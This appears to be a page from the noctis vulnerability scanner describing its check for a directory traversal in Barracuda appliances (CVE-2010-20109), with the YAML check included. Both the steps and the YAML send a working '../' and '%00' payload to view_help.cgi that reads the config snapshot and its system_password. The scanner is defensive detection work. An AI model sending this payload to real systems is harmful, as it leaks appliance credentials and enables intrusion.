Barracuda — 1 vulnerability check

noctis ships 1 vulnerability check for Barracuda, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Barracuda Networks Multiple Products Directory Traversal

CVECVE-2010-20109
Severityhigh · CVSS 7.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/barracuda/CVE-2010-20109.yaml

Tests Barracuda Networks appliances for an unauthenticated directory traversal in view_help.cgi. A crafted `locale` parameter escapes the CGI directory and reads the appliance config snapshot; the leaked `system_password` field confirms the vulnerability.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Checks banner_resp.banner for Server:\s*BarracudaHTTP
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-mod/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00 …
  4. Checks cgimod_resp.banner for (?s)system_password.*system_(netmask|default_domain)|system_(netmask|… → finding QoD 75: Directory traversal confirmed via /cgi-mod/view_help.cgi — config snapshot leaked: …
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00 …
  6. Checks cgibin_resp.banner for (?s)system_password.*system_(netmask|default_domain)|system_(netmask|… → finding QoD 75: Directory traversal confirmed via /cgi-bin/view_help.cgi — config snapshot leaked: …

References:

Feed source — tests/vulnerabilities/barracuda/CVE-2010-20109.yaml
# Barracuda Networks Multiple Products Directory Traversal — CVE-2010-20109
#
# Multiple Barracuda Networks products (IM Firewall, Link/Load Balancer,
# Message Archiver, Spam & Virus Firewall, SSL VPN, Web Application Firewall,
# Web Filter) fail to sanitise the `locale` parameter of view_help.cgi,
# allowing an unauthenticated attacker to traverse out of the CGI directory
# and read arbitrary files via a `../` + NUL-byte payload.
#
# Detection: a crafted GET reads the appliance config snapshot
# (/mail/snapshot/config.snapshot) and confirms the leaked content by the
# presence of `system_password` (secondary markers: system_netmask /
# system_default_domain). QoD 75 (response analysis / content match).
#
# The payload carries URL-encoding (%00) and `../` sequences, so a verbatim
# HTTP/1.0 request via tcp_connect is required (reqwest would normalise the
# path). Match is on resp.banner.
#
# Ported faithfully from OpenVAS/Greenbone NVT
# 2010/gb_barracuda_spam_virus_firewall_43520.nasl (GPL-2.0-only).
uid: 1a5c08ea-22ac-4be8-b9cc-453e94aa3f19
name: "Barracuda Networks Multiple Products Directory Traversal (CVE-2010-20109)"
description: |
  Tests Barracuda Networks appliances for an unauthenticated directory
  traversal in view_help.cgi. A crafted `locale` parameter escapes the CGI
  directory and reads the appliance config snapshot; the leaked
  `system_password` field confirms the vulnerability.
cves: [CVE-2010-20109]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [barracuda, path-traversal, lfi, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-20109"
  - "https://www.vulncheck.com/advisories/barracuda-multiple-products-locale-path-traversal"
  # OpenVAS/Greenbone NASL 2010/gb_barracuda_spam_virus_firewall_43520.nasl (GPL-2.0-only)

steps:
  # ── Initialise condition vars (undefined vars throw in conditions) ───────
  - id: init-barracuda
    action: set_var
    var_name: barracuda_confirmed
    var_value: false
  - id: init-traversal
    action: set_var
    var_name: traversal_confirmed
    var_value: false

  # ── Preliminary: service identifies as a Barracuda appliance ─────────────
  - id: banner-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: banner_resp

  - id: banner-match
    action: match
    source: banner_resp.banner
    pattern: "Server:\\s*BarracudaHTTP"
    case_insensitive: true
    on_match:
      set_vars:
        barracuda_confirmed: true

  # ── Traversal under /cgi-mod (primary CGI dir on recent appliances) ──────
  # tcp_connect verbatim: the %00 + ../ payload must not be normalised.
  - id: traversal-cgi-mod
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-mod/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cgimod_resp
    condition: "barracuda_confirmed == true"

  - id: traversal-cgi-mod-match
    action: match
    source: cgimod_resp.banner
    # Require the primary marker AND a secondary config field (mirrors the
    # NASL http_vuln_check extra_check: system_netmask / system_default_domain).
    pattern: "(?s)system_password.*system_(netmask|default_domain)|system_(netmask|default_domain).*system_password"
    condition: "barracuda_confirmed == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Directory traversal confirmed via /cgi-mod/view_help.cgi — config snapshot leaked: {{cgimod_resp.banner}}"
      set_vars:
        traversal_confirmed: true
      stop: true

  # ── Traversal under /cgi-bin (fallback CGI dir on older appliances) ──────
  - id: traversal-cgi-bin
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/view_help.cgi?locale=/../../../../../../../mail/snapshot/config.snapshot%00 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cgibin_resp
    condition: "barracuda_confirmed == true && traversal_confirmed != true"

  - id: traversal-cgi-bin-match
    action: match
    source: cgibin_resp.banner
    # Require the primary marker AND a secondary config field (mirrors the
    # NASL http_vuln_check extra_check: system_netmask / system_default_domain).
    pattern: "(?s)system_password.*system_(netmask|default_domain)|system_(netmask|default_domain).*system_password"
    condition: "barracuda_confirmed == true && traversal_confirmed != true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Directory traversal confirmed via /cgi-bin/view_help.cgi — config snapshot leaked: {{cgibin_resp.banner}}"
      stop: true

View these feeds on GitHub